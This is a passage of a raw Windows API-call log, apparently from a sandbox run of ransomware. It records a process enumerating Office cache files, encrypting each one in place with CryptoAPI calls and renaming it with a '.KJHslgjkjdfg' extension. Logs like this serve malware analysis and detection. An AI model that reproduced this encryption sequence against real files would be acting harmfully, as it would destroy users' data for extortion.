hHeap=0x2ef0000) returned 1 [0163.640] GetProcessHeap () returned 0x2ef0000 [0163.640] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0163.640] GetProcessHeap () returned 0x2ef0000 [0163.641] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0163.641] FindClose (in: hFindFile=0x2f181c8 | out: hFindFile=0x2f181c8) returned 1 [0163.641] GetProcessHeap () returned 0x2ef0000 [0163.641] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16bd8 | out: hHeap=0x2ef0000) returned 1 [0163.641] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~1")) returned 1 [0163.641] GetProcessHeap () returned 0x2ef0000 [0163.641] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8e) returned 0x2f14588 [0163.641] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f181c8 [0163.645] GetProcessHeap () returned 0x2ef0000 [0163.645] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0163.645] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0163.646] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0163.646] GetProcessHeap () returned 0x2ef0000 [0163.646] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x290) returned 0x2f16bd8 [0163.646] GetProcessHeap () returned 0x2ef0000 [0163.646] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x98) returned 0x2f14588 [0163.646] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18208 [0163.648] GetProcessHeap () returned 0x2ef0000 [0163.648] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0163.648] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0163.648] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0163.648] GetProcessHeap () returned 0x2ef0000 [0163.648] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x29a) returned 0x2f16e70 [0163.648] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0 [0163.648] FindClose (in: hFindFile=0x2f18208 | out: hFindFile=0x2f18208) returned 1 [0163.648] GetProcessHeap () returned 0x2ef0000 [0163.648] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e70 | out: hHeap=0x2ef0000) returned 1 [0163.648] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0163.648] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0163.651] GetProcessHeap () returned 0x2ef0000 [0163.651] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0163.651] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0163.651] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0163.651] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0xb, lpOverlapped=0x0) returned 1 [0163.654] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0163.654] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.654] GetProcessHeap () returned 0x2ef0000 [0163.655] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0163.655] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40) returned 1 [0163.655] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.655] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f8*=0x40, lpOverlapped=0x0) returned 1 [0163.655] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0163.655] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0163.655] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0163.655] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0163.655] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0163.656] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0163.656] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.656] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.656] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x91975, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x91975, lpOverlapped=0x0) returned 1 [0163.667] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x91980, dwBufLen=0x91980 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x91980) returned 1 [0163.675] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.675] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x91980, lpOverlapped=0x0) returned 1 [0163.677] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.677] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x91a54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.677] SetEndOfFile (hFile=0x124) returned 1 [0163.680] GetProcessHeap () returned 0x2ef0000 [0163.680] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0163.680] GetProcessHeap () returned 0x2ef0000 [0163.680] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0163.680] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.kjhslgjkjdfg")) returned 1 [0163.681] CloseHandle (hObject=0x124) returned 1 [0163.681] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0163.681] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1 [0163.681] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1 [0163.681] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="MICROS~1.MAN")) returned 1 [0163.682] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0163.684] GetProcessHeap () returned 0x2ef0000 [0163.684] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0163.684] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0163.684] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0163.684] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0xf, lpOverlapped=0x0) returned 1 [0163.686] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0163.686] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.686] GetProcessHeap () returned 0x2ef0000 [0163.686] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x60) returned 0x2f123a0 [0163.686] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f123a0*, pdwDataLen=0x4dff4e0*=0x60, dwBufLen=0x60 | out: pbData=0x2f123a0*, pdwDataLen=0x4dff4e0*=0x60) returned 1 [0163.686] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.687] WriteFile (in: hFile=0x124, lpBuffer=0x2f123a0*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f123a0*, lpNumberOfBytesWritten=0x4dff4f8*=0x60, lpOverlapped=0x0) returned 1 [0163.687] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0163.687] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0163.687] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0163.687] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0163.687] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0163.687] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0163.688] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.688] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.688] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x741, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x741, lpOverlapped=0x0) returned 1 [0163.688] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x750, dwBufLen=0x750 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x750) returned 1 [0163.688] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.688] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x750, lpOverlapped=0x0) returned 1 [0163.688] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.688] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.688] SetEndOfFile (hFile=0x124) returned 1 [0163.690] GetProcessHeap () returned 0x2ef0000 [0163.690] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0163.690] GetProcessHeap () returned 0x2ef0000 [0163.690] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0163.691] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.kjhslgjkjdfg")) returned 1 [0163.691] CloseHandle (hObject=0x124) returned 1 [0163.691] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0163.691] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0163.692] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0163.692] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=14127746) returned 1 [0163.692] GetProcessHeap () returned 0x2ef0000 [0163.692] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0163.692] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0163.692] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.692] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f4*=0xe, lpOverlapped=0x0) returned 1 [0163.721] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0163.721] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.721] GetProcessHeap () returned 0x2ef0000 [0163.721] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0163.721] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40) returned 1 [0163.721] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.721] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f4*=0x40, lpOverlapped=0x0) returned 1 [0163.721] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0163.721] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0163.721] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0163.721] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0163.722] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0163.722] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0163.722] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.722] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0163.722] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, 